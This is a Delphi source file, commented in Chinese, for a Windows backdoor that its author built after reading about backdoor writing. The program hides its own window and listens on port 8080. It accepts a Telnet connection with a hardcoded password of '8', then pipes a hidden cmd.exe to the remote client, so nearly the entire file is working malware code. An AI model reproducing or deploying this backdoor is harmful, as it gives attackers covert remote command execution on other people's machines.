//程序说明：这几天在家没事，在网上看到了关于后门的编写技术，都是用Visual C++
//编写的，于是开始试着用Delphi写了一个，由于时间关系有些功能没有写完，如：后门的
//端口和访问密码的设置等，但后门的核心功能已经实现。
//实现原理：在服务端开一个8080的端口当控制端通过 Telnet 服务端的IP地址 8080 访问
//时服务端会和控制端创建匿名通道，从而获得服务端的CMD.EXE进程(也就是DOS)
program Project1;
{$APPTYPE CONSOLE}
uses
SysUtils,
windows,
winsock;
var
wsadata:TWSADATA;
wversion:WORD;
buff:array[0..4096] of char;
hy,getpass,error,ok,quit:array[0..50] of char;
password:string;
port:integer;
bindserver,getclient:integer;
addrserver:sockaddr_in;
addrclient:PSOCKADDR;
namelen:PInteger;
timeout:pchar;
hreadpipe1,hwritepipe1,hreadpipe2,hwritepipe2:THandle;
sa:SECURITY_ATTRIBUTES;
siinfo:STARTUPINFO;
processinformation:PROCESS_INFORMATION;
cchReadBuffer:DWORD;
ret:integer;
ph:PChar;
cmdpath:PChar;
S:char;
n:integer;
cmd:array[0..1024] of char;
win:longint;
begin
win:=getforegroundwindow; //获取当前窗体的句柄
showwindow(win,SW_HIDE); //隐藏窗体
port:=8080; //访问端口
password:='8'; //访问密码
timeout:=pchar(50000);
hy:='Welcome to hear.........'#10#13;
quit:=#10#13'Telnet 8080 Close.........'#10#13;
getpass:='Input You PassWord:';
error:=#13'You Input PassWord is ERROR!';
ok:=#10#13'You Input PassWord is OK!';
wversion:=MAKEWORD(2,2);
WSASTARTUP(wversion,wsadata);
ph:=AllocMem(5000);
cmdpath:=allocmem(255);
bindserver:=socket(AF_INET,SOCK_STREAM,0);
addrserver.sin_family:=AF_INET;
addrserver.sin_port:=htons(port);
addrserver.sin_addr.S_addr:=INADDR_ANY;
setsockopt(bindserver,SOL_SOCKET,SO_RCVTIMEO,timeout,sizeof(timeout)); //设置超时时间
bind(bindserver,addrserver,sizeof(addrserver)); //绑定
listen(bindserver,5); //监听
{writeln('Listen .......... OK!'); }
new(addrclient);
new(namelen);
namelen^:=sizeof(addrclient^);
getclient:=accept(bindserver,addrclient,namelen);
setsockopt(bindserver,SOL_SOCKET,SO_RCVTIMEO,timeout,sizeof(timeout)); //设置超时时间
send(getclient,hy,strlen(hy),0); //发送欢迎信息
send(getclient,getpass,strlen(getpass),0);//发送输入访问密码信息
recv(getclient,buff,1024,0);//获取输入的密码到pass缓存中
if buff<>password then //如果输入的密码不正确则退出连接返回出错信息
begin
send(getclient,error,strlen(error),0);
closesocket(getclient);
end
else //输入的密码正确可以连接
send(getclient,ok,strlen(ok),0);
sa.nLength:=sizeof(SECURITY_ATTRIBUTES);
sa.lpSecurityDescriptor:=nil;
sa.bInheritHandle:=TRUE;
createpipe(hreadpipe1,hwritepipe1,@sa,0); //创建两个匿名管道
createpipe(hreadpipe2,hwritepipe2,@sa,0);
fillchar(siinfo,sizeof(STARTUPINFO),0);
siinfo.dwFlags:=(STARTF_USESTDHANDLES or STARTF_USESHOWWINDOW);
siinfo.wShowWindow:=SW_HIDE;
siinfo.hStdInput:=hreadpipe2;
siinfo.hStdOutput:=hwritepipe1;
siinfo.hStdError:=hwritepipe1;
StrPCopy(cmdpath,'c:\windows\system32\cmd.exe'); //这里需要上面的dos可执行文件位置
CreateProcess(nil,cmdpath,nil,nil,true,0,nil,nil,siinfo,processinformation);//创建一个新进程（比如执行一个程序）
while true do
begin
if not PeekNamedPipe(hreadpipe1,ph,1,@cchReadBuffer,nil,nil) then break; //检查管道是否有数据返回
if cchReadBuffer<>0 then
begin
ReadFile(hReadPipe1,buff,1024,cchReadBuffer,nil); //从管道 hreadpipe1 读取数据
send(getclient,buff,cchReadBuffer,0); //把从管道 hreadpipe1 读取的数据写入 getclient
end
else
begin
n:=recv(getclient,cmd,1024,0);
writefile(hwritepipe2,cmd,n,cchReadBuffer,nil);
writeln(n);
if cmd[0]='e' then
begin
send(getclient,quit,strlen(quit),0);
WSACleanup();
closesocket(getclient);
closesocket(bindserver);
CloseHandle(hreadpipe1);
CloseHandle(hreadpipe2);
closehandle(hwritepipe1);
closehandle(hwritepipe2);
{writeln('Listen .......... no!');}
break;
end
end
end;
end.
